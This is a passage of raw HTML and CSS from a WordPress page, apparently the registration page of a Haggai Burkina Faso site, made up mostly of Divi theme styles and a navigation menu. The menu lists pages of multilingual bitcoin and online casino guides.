0.4s ease-in-out}#top-menu{display:none}.et_hide_nav.et_fixed_nav #main-header{-webkit-transform:translateY(0px) !important;transform:translateY(0px) !important;opacity:1}#et-top-navigation{margin-right:0;-webkit-transition:none;transition:none}.et_fixed_nav #main-header{position:absolute}.et_header_style_left .et-fixed-header #et-top-navigation,.et_header_style_left #et-top-navigation{padding-top:24px;display:block}.et_fixed_nav #main-header{-webkit-transition:none;transition:none}.et_fixed_nav_temp #main-header{top:0 !important}#logo,.logo_container,#main-header,.container{-webkit-transition:none;transition:none}.et_header_style_left #logo{max-width:50%}#et_top_search{margin:0 35px 0 0;float:left}#et_search_icon:before{top:7px}.et_header_style_left .et-search-form{width:50% !important;max-width:50% !important}#et_mobile_nav_menu{display:block}#et-top-navigation .et-cart-info{margin-top:5px}}@media screen and (max-width: 782px){body.admin-bar.et_fixed_nav #main-header{top:46px}}@media all and (max-width: 767px){#et-top-navigation{margin-right:0}body.admin-bar.et_fixed_nav #main-header{top:46px}}@media all and (max-width: 479px){#et-top-navigation{margin-right:0}}@media print{#top-header,#main-header{position:relative !important;top:auto !important;right:auto !important;bottom:auto !important;left:auto !important}}
@-webkit-keyframes fadeOutTop{0%{opacity:1;-webkit-transform:translatey(0);transform:translatey(0)}to{opacity:0;-webkit-transform:translatey(-60%);transform:translatey(-60%)}}@keyframes fadeOutTop{0%{opacity:1;-webkit-transform:translatey(0);transform:translatey(0)}to{opacity:0;-webkit-transform:translatey(-60%);transform:translatey(-60%)}}@-webkit-keyframes fadeInTop{0%{opacity:0;-webkit-transform:translatey(-60%);transform:translatey(-60%)}to{opacity:1;-webkit-transform:translatey(0);transform:translatey(0)}}@keyframes fadeInTop{0%{opacity:0;-webkit-transform:translatey(-60%);transform:translatey(-60%)}to{opacity:1;-webkit-transform:translatey(0);transform:translatey(0)}}@-webkit-keyframes fadeInBottom{0%{opacity:0;-webkit-transform:translatey(60%);transform:translatey(60%)}to{opacity:1;-webkit-transform:translatey(0);transform:translatey(0)}}@keyframes fadeInBottom{0%{opacity:0;-webkit-transform:translatey(60%);transform:translatey(60%)}to{opacity:1;-webkit-transform:translatey(0);transform:translatey(0)}}@-webkit-keyframes fadeOutBottom{0%{opacity:1;-webkit-transform:translatey(0);transform:translatey(0)}to{opacity:0;-webkit-transform:translatey(60%);transform:translatey(60%)}}@keyframes fadeOutBottom{0%{opacity:1;-webkit-transform:translatey(0);transform:translatey(0)}to{opacity:0;-webkit-transform:translatey(60%);transform:translatey(60%)}}@-webkit-keyframes Grow{0%{opacity:0;-webkit-transform:scaleY(.5);transform:scaleY(.5)}to{opacity:1;-webkit-transform:scale(1);transform:scale(1)}}@keyframes Grow{0%{opacity:0;-webkit-transform:scaleY(.5);transform:scaleY(.5)}to{opacity:1;-webkit-transform:scale(1);transform:scale(1)}}/*!
	  * Animate.css - http://daneden.me/animate
	  * Licensed under the MIT license - http://opensource.org/licenses/MIT
	  * Copyright (c) 2015 Daniel Eden
	 */@-webkit-keyframes flipInX{0%{-webkit-transform:perspective(400px) rotateX(90deg);transform:perspective(400px) rotateX(90deg);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in;opacity:0}40%{-webkit-transform:perspective(400px) rotateX(-20deg);transform:perspective(400px) rotateX(-20deg);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in}60%{-webkit-transform:perspective(400px) rotateX(10deg);transform:perspective(400px) rotateX(10deg);opacity:1}80%{-webkit-transform:perspective(400px) rotateX(-5deg);transform:perspective(400px) rotateX(-5deg)}to{-webkit-transform:perspective(400px);transform:perspective(400px)}}@keyframes flipInX{0%{-webkit-transform:perspective(400px) rotateX(90deg);transform:perspective(400px) rotateX(90deg);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in;opacity:0}40%{-webkit-transform:perspective(400px) rotateX(-20deg);transform:perspective(400px) rotateX(-20deg);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in}60%{-webkit-transform:perspective(400px) rotateX(10deg);transform:perspective(400px) rotateX(10deg);opacity:1}80%{-webkit-transform:perspective(400px) rotateX(-5deg);transform:perspective(400px) rotateX(-5deg)}to{-webkit-transform:perspective(400px);transform:perspective(400px)}}@-webkit-keyframes flipInY{0%{-webkit-transform:perspective(400px) rotateY(90deg);transform:perspective(400px) rotateY(90deg);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in;opacity:0}40%{-webkit-transform:perspective(400px) rotateY(-20deg);transform:perspective(400px) rotateY(-20deg);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in}60%{-webkit-transform:perspective(400px) rotateY(10deg);transform:perspective(400px) rotateY(10deg);opacity:1}80%{-webkit-transform:perspective(400px) rotateY(-5deg);transform:perspective(400px) rotateY(-5deg)}to{-webkit-transform:perspective(400px);transform:perspective(400px)}}@keyframes flipInY{0%{-webkit-transform:perspective(400px) rotateY(90deg);transform:perspective(400px) rotateY(90deg);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in;opacity:0}40%{-webkit-transform:perspective(400px) rotateY(-20deg);transform:perspective(400px) rotateY(-20deg);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in}60%{-webkit-transform:perspective(400px) rotateY(10deg);transform:perspective(400px) rotateY(10deg);opacity:1}80%{-webkit-transform:perspective(400px) rotateY(-5deg);transform:perspective(400px) rotateY(-5deg)}to{-webkit-transform:perspective(400px);transform:perspective(400px)}}
#main-header{line-height:23px;font-weight:500;top:0;background-color:#fff;width:100%;-webkit-box-shadow:0 1px 0 rgba(0,0,0,.1);box-shadow:0 1px 0 rgba(0,0,0,.1);position:relative;z-index:99999}.nav li li{padding:0 20px;margin:0}.et-menu li li a{padding:6px 20px;width:200px}.nav li{position:relative;line-height:1em}.nav li li{position:relative;line-height:2em}.nav li ul{position:absolute;padding:20px 0;z-index:9999;width:240px;background:#fff;visibility:hidden;opacity:0;border-top:3px solid #2ea3f2;box-shadow:0 2px 5px rgba(0,0,0,.1);-moz-box-shadow:0 2px 5px rgba(0,0,0,.1);-webkit-box-shadow:0 2px 5px rgba(0,0,0,.1);-webkit-transform:translateZ(0);text-align:left}.nav li.et-hover>ul{visibility:visible}.nav li.et-touch-hover>ul,.nav li:hover>ul{opacity:1;visibility:visible}.nav li li ul{z-index:1000;top:-23px;left:240px}.nav li.et-reverse-direction-nav li ul{left:auto;right:240px}.nav li:hover{visibility:inherit}.et_mobile_menu li a,.nav li li a{font-size:14px;-webkit-transition:opacity .2s ease-in-out,background-color .2s ease-in-out;transition:opacity .2s ease-in-out,background-color .2s ease-in-out}.et_mobile_menu li a:hover,.nav ul li a:hover{background-color:rgba(0,0,0,.03);opacity:.7}.et-dropdown-removing>ul{display:none}.mega-menu .et-dropdown-removing>ul{display:block}.et-menu .menu-item-has-children>a:first-child:after{font-family:ETmodules;content:"3";font-size:16px;position:absolute;right:0;top:0;font-weight:800}.et-menu .menu-item-has-children>a:first-child{padding-right:20px}.et-menu li li.menu-item-has-children>a:first-child:after{right:20px;top:6px}.et-menu-nav li.mega-menu{position:inherit}.et-menu-nav li.mega-menu>ul{padding:30px 20px;position:absolute!important;width:100%;left:0!important}.et-menu-nav li.mega-menu ul li{margin:0;float:left!important;display:block!important;padding:0!important}.et-menu-nav li.mega-menu li>ul{-webkit-animation:none!important;animation:none!important;padding:0;border:none;left:auto;top:auto;width:240px!important;position:relative;box-shadow:none;-webkit-box-shadow:none}.et-menu-nav li.mega-menu li ul{visibility:visible;opacity:1;display:none}.et-menu-nav li.mega-menu.et-hover li ul,.et-menu-nav li.mega-menu:hover li ul{display:block}.et-menu-nav li.mega-menu:hover>ul{opacity:1!important;visibility:visible!important}.et-menu-nav li.mega-menu>ul>li>a:first-child{padding-top:0!important;font-weight:700;border-bottom:1px solid rgba(0,0,0,.03)}.et-menu-nav li.mega-menu>ul>li>a:first-child:hover{background-color:transparent!important}.et-menu-nav li.mega-menu li>a{width:200px!important}.et-menu-nav li.mega-menu.mega-menu-parent li>a,.et-menu-nav li.mega-menu.mega-menu-parent li li{width:100%!important}.et-menu-nav li.mega-menu.mega-menu-parent li>.sub-menu{float:left;width:100%!important}.et-menu-nav li.mega-menu>ul>li{width:25%;margin:0}.et-menu-nav li.mega-menu.mega-menu-parent-3>ul>li{width:33.33%}.et-menu-nav li.mega-menu.mega-menu-parent-2>ul>li{width:50%}.et-menu-nav li.mega-menu.mega-menu-parent-1>ul>li{width:100%}.et_pb_fullwidth_menu li.mega-menu .menu-item-has-children>a:first-child:after,.et_pb_menu li.mega-menu .menu-item-has-children>a:first-child:after{display:none}.et_fullwidth_nav #top-menu li.mega-menu>ul{width:auto;left:30px!important;right:30px!important}.et_mobile_menu{position:absolute;left:0;padding:5%;background:#fff;width:100%;visibility:visible;opacity:1;display:none;z-index:9999;border-top:3px solid #2ea3f2;box-shadow:0 2px 5px rgba(0,0,0,.1);-moz-box-shadow:0 2px 5px rgba(0,0,0,.1);-webkit-box-shadow:0 2px 5px rgba(0,0,0,.1)}#main-header .et_mobile_menu li ul,.et_pb_fullwidth_menu .et_mobile_menu li ul,.et_pb_menu .et_mobile_menu li ul{visibility:visible!important;display:block!important;padding-left:10px}.et_mobile_menu li li{padding-left:5%}.et_mobile_menu li a{border-bottom:1px solid rgba(0,0,0,.03);color:#666;padding:10px 5%;display:block}.et_mobile_menu .menu-item-has-children>a{font-weight:700;background-color:rgba(0,0,0,.03)}.et_mobile_menu li .menu-item-has-children>a{background-color:transparent}.et_mobile_nav_menu{float:right;display:none}.mobile_menu_bar{position:relative;display:block;line-height:0}.mobile_menu_bar:before{content:"a";font-size:32px;position:relative;left:0;top:0;cursor:pointer}.et_pb_module .mobile_menu_bar:before{top:2px}.mobile_nav .select_page{display:none}
.footer-widget h4,#main-footer .widget_block h1,#main-footer .widget_block h2,#main-footer .widget_block h3,#main-footer .widget_block h4,#main-footer .widget_block h5,#main-footer .widget_block h6{color:#2EA3F2}.footer-widget li:before{border-color:#2EA3F2}.bottom-nav li.current-menu-item>a{color:#2EA3F2}#main-footer{background-color:#222222}#footer-widgets{padding:6% 0 0}.footer-widget{float:left;color:#fff}.last{margin-right:0}.footer-widget .fwidget:last-child{margin-bottom:0 !important}#footer-widgets .footer-widget li{padding-left:14px;position:relative}#footer-widgets .footer-widget li:before{border-radius:3px;border-style:solid;border-width:3px;content:"";left:0;position:absolute;top:9px}#footer-widgets .footer-widget a{color:#fff}#footer-widgets .footer-widget li a{color:#fff;text-decoration:none}#footer-widgets .footer-widget li a:hover{color:rgba(255,255,255,0.7)}.footer-widget .widget_adsensewidget ins{min-width:160px}#footer-bottom{background-color:#1f1f1f;background-color:rgba(0,0,0,0.32);padding:15px 0 5px}#footer-bottom a{-webkit-transition:all 0.4s ease-in-out;transition:all 0.4s ease-in-out}#footer-info{text-align:left;color:#666;padding-bottom:10px;float:left}#footer-info a{font-weight:700;color:#666}#footer-info a:hover{opacity:.7}#et-footer-nav{background-color:rgba(255,255,255,0.05)}.bottom-nav{padding:15px 0}.bottom-nav li{font-weight:600;display:inline-block;font-size:14px;padding-right:22px}.bottom-nav a{color:#bbb;-webkit-transition:all 0.4s ease-in-out;transition:all 0.4s ease-in-out}.bottom-nav a:hover{opacity:.7}@media all and (max-width: 980px){.footer-widget:nth-child(n){width:46.25% !important;margin:0 7.5% 7.5% 0 !important}.et_pb_footer_columns1 .footer-widget{width:100% !important;margin:0 7.5% 7.5% 0 !important}#footer-widgets .footer-widget .fwidget{margin-bottom:16.21%}.et_pb_gutters1 .footer-widget:nth-child(n){width:50% !important;margin:0 !important}.et_pb_gutters1 #footer-widgets .footer-widget .fwidget{margin-bottom:0}#footer-widgets{padding:8% 0}#footer-widgets .footer-widget:nth-child(2n){margin-right:0 !important}#footer-widgets .footer-widget:nth-last-child(-n+2){margin-bottom:0 !important}.bottom-nav{text-align:center}#footer-info{float:none;text-align:center}}@media all and (max-width: 767px){#footer-widgets .footer-widget,.et_pb_gutters1 #footer-widgets .footer-widget{width:100% !important;margin-right:0 !important}#footer-widgets .footer-widget:nth-child(n),#footer-widgets .footer-widget .fwidget{margin-bottom:9.5% !important}.et_pb_gutters1 #footer-widgets .footer-widget:nth-child(n),.et_pb_gutters1 #footer-widgets .footer-widget .fwidget{margin-bottom:0 !important}#footer-widgets{padding:10% 0}#footer-widgets .footer-widget .fwidget:last-child{margin-bottom:0 !important}#footer-widgets .footer-widget:last-child{margin-bottom:0 !important}}@media all and (max-width: 479px){#footer-widgets .footer-widget:nth-child(n),.footer-widget .fwidget{margin-bottom:11.5% !important}#footer-widgets .footer-widget.last{margin-bottom:0 !important}.et_pb_gutters1 #footer-widgets .footer-widget:nth-child(n),.et_pb_gutters1 #footer-widgets .footer-widget .fwidget{margin-bottom:0 !important}#footer-widgets{padding:12% 0}}
@media all and (min-width: 981px){.et_pb_gutters3 .footer-widget{margin-right:5.5%;margin-bottom:5.5%}.et_pb_gutters3 .footer-widget:last-child{margin-right:0}.et_pb_gutters3.et_pb_footer_columns6 .footer-widget{width:12.083%}.et_pb_gutters3.et_pb_footer_columns6 .footer-widget .fwidget{margin-bottom:45.517%}.et_pb_gutters3.et_pb_footer_columns5 .footer-widget{width:15.6%}.et_pb_gutters3.et_pb_footer_columns5 .footer-widget .fwidget{margin-bottom:35.256%}.et_pb_gutters3.et_pb_footer_columns4 .footer-widget{width:20.875%}.et_pb_gutters3.et_pb_footer_columns4 .footer-widget .fwidget{margin-bottom:26.347%}.et_pb_gutters3.et_pb_footer_columns3 .footer-widget{width:29.667%}.et_pb_gutters3.et_pb_footer_columns3 .footer-widget .fwidget{margin-bottom:18.539%}.et_pb_gutters3.et_pb_footer_columns2 .footer-widget{width:47.25%}.et_pb_gutters3.et_pb_footer_columns2 .footer-widget .fwidget{margin-bottom:11.64%}.et_pb_gutters3.et_pb_footer_columns1 .footer-widget{width:100%}.et_pb_gutters3.et_pb_footer_columns1 .footer-widget .fwidget{margin-bottom:5.5%}.et_pb_gutters3.et_pb_footer_columns_3_4__1_4 .footer-widget:nth-child(1){width:73.625%;clear:both}.et_pb_gutters3.et_pb_footer_columns_3_4__1_4 .footer-widget:nth-child(1) .fwidget{margin-bottom:7.47%}.et_pb_gutters3.et_pb_footer_columns_3_4__1_4 .footer-widget:nth-child(2){width:20.875%}.et_pb_gutters3.et_pb_footer_columns_3_4__1_4 .footer-widget:nth-child(2) .fwidget{margin-bottom:26.347%}.et_pb_gutters3.et_pb_footer_columns_1_4__3_4 .footer-widget:nth-child(1){width:20.875%;clear:both}.et_pb_gutters3.et_pb_footer_columns_1_4__3_4 .footer-widget:nth-child(1) .fwidget{margin-bottom:26.347%}.et_pb_gutters3.et_pb_footer_columns_1_4__3_4 .footer-widget:nth-child(2){width:73.625%}.et_pb_gutters3.et_pb_footer_columns_1_4__3_4 .footer-widget:nth-child(2) .fwidget{margin-bottom:7.47%}.et_pb_gutters3.et_pb_footer_columns_2_3__1_3 .footer-widget:nth-child(1){width:64.833%}.et_pb_gutters3.et_pb_footer_columns_2_3__1_3 .footer-widget:nth-child(1) .fwidget{margin-bottom:8.483%}.et_pb_gutters3.et_pb_footer_columns_2_3__1_3 .footer-widget:nth-child(2){width:29.667%}.et_pb_gutters3.et_pb_footer_columns_2_3__1_3 .footer-widget:nth-child(2) .fwidget{margin-bottom:18.539%}.et_pb_gutters3.et_pb_footer_columns_1_3__2_3 .footer-widget:nth-child(1){width:29.667%}.et_pb_gutters3.et_pb_footer_columns_1_3__2_3 .footer-widget:nth-child(1) .fwidget{margin-bottom:18.539%}.et_pb_gutters3.et_pb_footer_columns_1_3__2_3 .footer-widget:nth-child(2){width:64.833%}.et_pb_gutters3.et_pb_footer_columns_1_3__2_3 .footer-widget:nth-child(2) .fwidget{margin-bottom:8.483%}.et_pb_gutters3.et_pb_footer_columns_1_4__1_2 .footer-widget:nth-child(-n+2){width:20.875%}.et_pb_gutters3.et_pb_footer_columns_1_4__1_2 .footer-widget:nth-child(-n+2) .fwidget{margin-bottom:26.347%}.et_pb_gutters3.et_pb_footer_columns_1_4__1_2 .footer-widget:nth-child(3){width:47.25%}.et_pb_gutters3.et_pb_footer_columns_1_4__1_2 .footer-widget:nth-child(3) .fwidget{margin-bottom:11.64%}.et_pb_gutters3.et_pb_footer_columns_1_2__1_4 .footer-widget:first-child{width:47.25%}.et_pb_gutters3.et_pb_footer_columns_1_2__1_4 .footer-widget:first-child .fwidget{margin-bottom:11.64%}.et_pb_gutters3.et_pb_footer_columns_1_2__1_4 .footer-widget:nth-child(-n+3):not(:nth-child(1)){width:20.875%}.et_pb_gutters3.et_pb_footer_columns_1_2__1_4 .footer-widget:nth-child(-n+3):not(:nth-child(1)) .fwidget{margin-bottom:26.347%}.et_pb_gutters3.et_pb_footer_columns_1_5__3_5 .footer-widget:nth-child(-n+2){width:15.6%}.et_pb_gutters3.et_pb_footer_columns_1_5__3_5 .footer-widget:nth-child(-n+2) .fwidget{margin-bottom:35.256%}.et_pb_gutters3.et_pb_footer_columns_1_5__3_5 .footer-widget:nth-child(3){width:57.8%}.et_pb_gutters3.et_pb_footer_columns_1_5__3_5 .footer-widget:nth-child(3) .fwidget{margin-bottom:9.516%}.et_pb_gutters3.et_pb_footer_columns_3_5__1_5 .footer-widget:first-child{width:57.8%}.et_pb_gutters3.et_pb_footer_columns_3_5__1_5 .footer-widget:first-child .fwidget{margin-bottom:9.516%}.et_pb_gutters3.et_pb_footer_columns_3_5__1_5 .footer-widget:nth-child(-n+3):not(:nth-child(1)){width:15.6%}.et_pb_gutters3.et_pb_footer_columns_3_5__1_5 .footer-widget:nth-child(-n+3):not(:nth-child(1)) .fwidget{margin-bottom:35.256%}.et_pb_gutters3.et_pb_footer_columns_3_5__2_5 .footer-widget:nth-child(1){width:57.8%}.et_pb_gutters3.et_pb_footer_columns_3_5__2_5 .footer-widget:nth-child(1) .fwidget{margin-bottom:9.516%}.et_pb_gutters3.et_pb_footer_columns_3_5__2_5 .footer-widget:nth-child(2){width:36.7%}.et_pb_gutters3.et_pb_footer_columns_3_5__2_5 .footer-widget:nth-child(2) .fwidget{margin-bottom:14.986%}.et_pb_gutters3.et_pb_footer_columns_2_5__3_5 .footer-widget:nth-child(1){width:36.7%}.et_pb_gutters3.et_pb_footer_columns_2_5__3_5 .footer-widget:nth-child(1) .fwidget{margin-bottom:14.986%}.et_pb_gutters3.et_pb_footer_columns_2_5__3_5 .footer-widget:nth-child(2){width:57.8%}.et_pb_gutters3.et_pb_footer_columns_2_5__3_5 .footer-widget:nth-child(2) .fwidget{margin-bottom:9.516%}.et_pb_gutters3.et_pb_footer_columns_1_2__1_6 .footer-widget:first-child{width:47.25%}.et_pb_gutters3.et_pb_footer_columns_1_2__1_6 .footer-widget:first-child .fwidget{margin-bottom:11.64%}.et_pb_gutters3.et_pb_footer_columns_1_2__1_6 .footer-widget:nth-child(-n+4):not(:nth-child(1)){width:12.083%}.et_pb_gutters3.et_pb_footer_columns_1_2__1_6 .footer-widget:nth-child(-n+4):not(:nth-child(1)) .fwidget{margin-bottom:45.517%}.et_pb_gutters3.et_pb_footer_columns_1_6__1_2 .footer-widget:nth-child(-n+3){width:12.083%}.et_pb_gutters3.et_pb_footer_columns_1_6__1_2 .footer-widget:nth-child(-n+3) .fwidget{margin-bottom:45.517%}.et_pb_gutters3.et_pb_footer_columns_1_6__1_2 .footer-widget:nth-child(4){width:47.25%}.et_pb_gutters3.et_pb_footer_columns_1_6__1_2 .footer-widget:nth-child(4) .fwidget{margin-bottom:11.64%}.et_pb_gutters3.et_pb_footer_columns_1_4_1_2_1_4 .footer-widget:nth-child(-n+3):not(:nth-child(2)){width:20.875%}.et_pb_gutters3.et_pb_footer_columns_1_4_1_2_1_4 .footer-widget:nth-child(-n+3):not(:nth-child(2)) .fwidget{margin-bottom:26.347%}.et_pb_gutters3.et_pb_footer_columns_1_4_1_2_1_4 .footer-widget:nth-child(2){width:47.25%}.et_pb_gutters3.et_pb_footer_columns_1_4_1_2_1_4 .footer-widget:nth-child(2) .fwidget{margin-bottom:11.64%}.et_pb_gutters3.et_pb_footer_columns_1_5_3_5_1_5 .footer-widget:nth-child(-n+3):not(:nth-child(2)){width:15.6%}.et_pb_gutters3.et_pb_footer_columns_1_5_3_5_1_5 .footer-widget:nth-child(-n+3):not(:nth-child(2)) .fwidget{margin-bottom:35.256%}.et_pb_gutters3.et_pb_footer_columns_1_5_3_5_1_5 .footer-widget:nth-child(2){width:57.8%}.et_pb_gutters3.et_pb_footer_columns_1_5_3_5_1_5 .footer-widget:nth-child(2) .fwidget{margin-bottom:9.516%}}
.et-social-icons{float:right}.et-social-icons li{display:inline-block;margin-left:20px}.et-social-icon a{display:inline-block;font-size:24px;position:relative;text-align:center;-webkit-transition:color 300ms ease 0s;transition:color 300ms ease 0s;color:#666;text-decoration:none}.et-social-icons a:hover{opacity:0.7;-webkit-transition:all 0.4s ease-in-out;transition:all 0.4s ease-in-out}.et-social-icon span{display:none}.et_duplicate_social_icons{display:none}@media all and (max-width: 980px){.et-social-icons{float:none;text-align:center}}@media all and (max-width: 980px){.et-social-icons{margin:0 0 5px}}
#sidebar{padding-bottom:28px}#sidebar .et_pb_widget{margin-bottom:30px;width:100%;float:none}.et_right_sidebar #main-content .et_pb_column_2_3 .et_pb_countdown_timer .section p.value,.et_right_sidebar #main-content .et_pb_column_2_3 .et_pb_countdown_timer .section.sep,.et_left_sidebar #main-content .et_pb_column_2_3 .et_pb_countdown_timer .section p.value,.et_left_sidebar #main-content .et_pb_column_2_3 .et_pb_countdown_timer .section.sep{font-size:44px;line-height:44px}.et_right_sidebar #main-content .et_pb_column_1_2 .et_pb_countdown_timer .section p.value,.et_right_sidebar #main-content .et_pb_column_1_2 .et_pb_countdown_timer .section.sep,.et_left_sidebar #main-content .et_pb_column_1_2 .et_pb_countdown_timer .section p.value,.et_left_sidebar #main-content .et_pb_column_1_2 .et_pb_countdown_timer .section.sep{font-size:32px;line-height:32px}.et_right_sidebar #main-content .et_pb_column_3_8 .et_pb_countdown_timer .section p.value,.et_right_sidebar #main-content .et_pb_column_3_8 .et_pb_countdown_timer .section.sep,.et_left_sidebar #main-content .et_pb_column_3_8 .et_pb_countdown_timer .section p.value,.et_left_sidebar #main-content .et_pb_column_3_8 .et_pb_countdown_timer .section.sep{font-size:24px;line-height:24px}.et_right_sidebar #main-content .et_pb_column_1_3 .et_pb_countdown_timer .section p.value,.et_right_sidebar #main-content .et_pb_column_1_3 .et_pb_countdown_timer .section.sep,.et_left_sidebar #main-content .et_pb_column_1_3 .et_pb_countdown_timer .section p.value,.et_left_sidebar #main-content .et_pb_column_1_3 .et_pb_countdown_timer .section.sep{font-size:20px;line-height:20px}.et_right_sidebar #main-content .et_pb_column_1_4 .et_pb_countdown_timer .section p.value,.et_right_sidebar #main-content .et_pb_column_1_4 .et_pb_countdown_timer .section.sep,.et_left_sidebar #main-content .et_pb_column_1_4 .et_pb_countdown_timer .section p.value,.et_left_sidebar #main-content .et_pb_column_1_4 .et_pb_countdown_timer .section.sep{font-size:16px;line-height:16px}@media all and (min-width: 981px) and (max-width: 1100px){#sidebar .et_pb_widget{margin-left:0}.et_left_sidebar #sidebar .et_pb_widget{margin-right:0}}@media all and (min-width: 981px){#sidebar{float:left;width:20.875%}.et_right_sidebar #left-area{float:left;padding-right:5.5%}.et_right_sidebar #sidebar{padding-left:30px}.et_right_sidebar #main-content .container:before{right:20.875% !important}.et_left_sidebar #left-area{float:right;padding-left:5.5%}.et_left_sidebar #sidebar{padding-right:30px}.et_left_sidebar #main-content .container:before{left:20.875% !important}}@media all and (max-width: 980px){.et_right_sidebar #left-area,.et_right_sidebar #sidebar,.et_left_sidebar #left-area,.et_left_sidebar #sidebar{width:auto;float:none;padding-right:0;padding-left:0}.et_right_sidebar #left-area{margin-right:0}.et_right_sidebar #sidebar{margin-left:0;border-left:none}.et_left_sidebar #left-area{margin-left:0}.et_left_sidebar #sidebar{margin-right:0;border-right:none}}
.widget_search .screen-reader-text,.et_pb_widget .wp-block-search__label{display:none}.widget_search input#s,.widget_search input#searchsubmit,.et_pb_widget .wp-block-search__input,.et_pb_widget .wp-block-search__button{padding:.7em;height:40px !important;margin:0;font-size:14px;line-height:normal !important;border:1px solid #ddd;color:#666}.widget_search #s,.et_pb_widget .wp-block-search__input{width:100%;border-radius:3px}.widget_search #searchform,.et_pb_widget .wp-block-search{position:relative}.widget_search #searchsubmit,.et_pb_widget .wp-block-search__button{background-color:#ddd;-webkit-border-top-right-radius:3px;-webkit-border-bottom-right-radius:3px;-moz-border-radius-topright:3px;-moz-border-radius-bottomright:3px;border-top-right-radius:3px;border-bottom-right-radius:3px;position:absolute;right:0;top:0}#searchsubmit,.et_pb_widget .wp-block-search__button{cursor:pointer}
/*# sourceURL=divi-dynamic-critical-inline-css */
</style>
<link rel='stylesheet' id='divi-style-css' href='http://haggai-bf.org/wp-content/themes/Divi-child/style.css?ver=4.27.6' media='all' />
<link rel="https://api.w.org/" href="https://haggai-bf.org/wp-json/" /><link rel="alternate" title="JSON" type="application/json" href="https://haggai-bf.org/wp-json/wp/v2/pages/136" /><link rel="EditURI" type="application/rsd+xml" title="RSD" href="https://haggai-bf.org/xmlrpc.php?rsd" />
<meta name="generator" content="WordPress 7.0" />
<link rel="canonical" href="https://haggai-bf.org/register/" />
<link rel='shortlink' href='https://haggai-bf.org/?p=136' />
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=0" /><link rel="icon" href="https://haggai-bf.org/wp-content/uploads/2025/03/Logo_Haggai-BF-150x150.png" sizes="32x32" />
<link rel="icon" href="https://haggai-bf.org/wp-content/uploads/2025/03/Logo_Haggai-BF.png" sizes="192x192" />
<link rel="apple-touch-icon" href="https://haggai-bf.org/wp-content/uploads/2025/03/Logo_Haggai-BF.png" />
<meta name="msapplication-TileImage" content="https://haggai-bf.org/wp-content/uploads/2025/03/Logo_Haggai-BF.png" />
<link rel="stylesheet" id="et-divi-customizer-global-cached-inline-styles" href="http://haggai-bf.org/wp-content/et-cache/global/et-divi-customizer-global.min.css?ver=1780281736" /><style id="et-critical-inline-css"></style>
</head>
<body class="wp-singular page-template-default page page-id-136 wp-custom-logo wp-theme-Divi wp-child-theme-Divi-child et_pb_button_helper_class et_fixed_nav et_show_nav et_primary_nav_dropdown_animation_fade et_secondary_nav_dropdown_animation_fade et_header_style_left et_pb_footer_columns4 et_cover_background et_pb_gutter et_pb_gutters3 et_right_sidebar et_divi_theme et-db">
	<div id="page-container">

	
	
			<header id="main-header" data-height-onload="66">
			<div class="container clearfix et_menu_container">
							<div class="logo_container">
					<span class="logo_helper"></span>
					<a href="https://haggai-bf.org/">
						<img src="https://haggai-bf.org/wp-content/uploads/2025/03/Logo_Haggai-BF.png" width="931" height="742" alt="HAGGAI BURKINA FASO" id="logo" data-height-percentage="54" />
					</a>
				</div>
							<div id="et-top-navigation" data-height="66" data-fixed-height="40">
											<nav id="top-menu-nav">
													<ul id="top-menu" class="nav">
																	<li ><a href="https://haggai-bf.org/">Accueil</a></li>
								
								<li class="page_item page-item-844"><a href="https://haggai-bf.org/bitcoin-jatszani-fiokellenorzes-utmutato/">Bitcoin játszani – fiókellenőrzés útmutató</a></li>
<li class="page_item page-item-840"><a href="https://haggai-bf.org/bitcoin-kasino-v-ceske-republice-kompletni-pruvodce-bonusy-rychle-vybery-a-bezpecnost/">Bitcoin kasino v České republice – kompletní průvodce, bonusy, rychlé výběry a bezpečnost</a></li>
<li class="page_item page-item-838"><a href="https://haggai-bf.org/btc-hrat-aplikace-a-mobilni-pruvodce/">BTC hrát: aplikace a mobilní průvodce</a></li>
<li class="page_item page-item-469"><a href="https://haggai-bf.org/canli-casino-siteleri-2026-en-iyi-ve-guvenilir-casino-listesi/">Canlı Casino Siteleri 2026 &#8211; En İyi ve Güvenilir Casino Listesi</a></li>
<li class="page_item page-item-832"><a href="https://haggai-bf.org/casino-bitcoin-guia-paso-a-paso-para-registrarte-e-iniciar-sesion/">Casino Bitcoin: guía paso a paso para registrarte e iniciar sesión</a></li>
<li class="page_item page-item-847"><a href="https://haggai-bf.org/crypto-casino-europe-review-bonuses-payments-mobile-guide-for-dutch-players/">Crypto Casino Europe Review – Bonuses, Payments &#038; Mobile Guide for Dutch Players</a></li>
<li class="page_item page-item-239"><a href="https://haggai-bf.org/magyar-casino-online-fiokellenorzes-lepesei-praktikus-utmutato/">Magyar casino online fiókellenőrzés lépései – Praktikus útmutató</a></li>
<li class="page_item page-item-41"><a href="https://haggai-bf.org/nous-contacter/">Nous contacter</a></li>
<li class="page_item page-item-828"><a href="https://haggai-bf.org/pin-up-az-rbaycanin-n-yaxsi-kazinosu-r-smi-sayt/">Pin Up &#8211; Azərbaycanın ən yaxşı kazinosu | Rəsmi sayt</a></li>
<li class="page_item page-item-826"><a href="https://haggai-bf.org/pin-up-casino-az-rbaycanda-onlayn-kazino-pin-up/">Pin Up Casino &#8211; Azərbaycanda onlayn kazino Pin-Up</a></li>
<li class="page_item page-item-821"><a href="https://haggai-bf.org/pin-up-casino-onlayn-az-rbaycan/">Pin Up Casino Onlayn Azərbaycan</a></li>
									<li class="cat-item cat-item-11"><a href="https://haggai-bf.org/category/public/">public</a>
</li>
							</ul>
												</nav>
					
					
					
											<div id="et_top_search">
							<span id="et_search_icon"></span>
						</div>
					
					<div id="et_mobile_nav_menu">
				<div class="mobile_nav closed">
					<span class="select_page">Sélectionner une page</span>
					<span class="mobile_menu_bar mobile_menu_bar_toggle"></span>
				</div>
			</div>				</div> <!-- #et-top-navigation -->
			</div> <!-- .container -->
						<div class="et_search_outer">
				<div class="container et_search_form_container">
					<form role="search" method="get" class="et-search-form" action="https://haggai-bf.org/">
